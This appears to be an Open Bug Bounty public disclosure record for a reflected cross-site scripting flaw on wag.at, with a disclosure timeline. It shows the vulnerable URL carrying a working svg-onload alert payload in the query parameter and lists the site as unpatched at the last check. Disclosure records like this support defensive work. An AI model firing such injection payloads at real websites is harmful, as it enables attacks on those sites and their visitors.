Lucene search

K
openbugbountySecuNinjaOBB:289628
HistorySep 05, 2017 - 9:00 a.m.

wag.at XSS vulnerability

2017-09-0509:00:00
SecuNinja
www.openbugbounty.org
5
Vulnerable URL:
https://www.wag.at/index.php?id=100&query;=%22%3E%27%3EI%3Ci%3EI%3Csvg/onload=alert(/openbugbounty/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 04.12.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 581364
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 5 September, 2017 09:00 GMT
Generic security notifications sent to website owner 5 September, 2017 09:03 GMT
Vulnerability details disclosed by researcher 4 December, 2017 09:17 GMT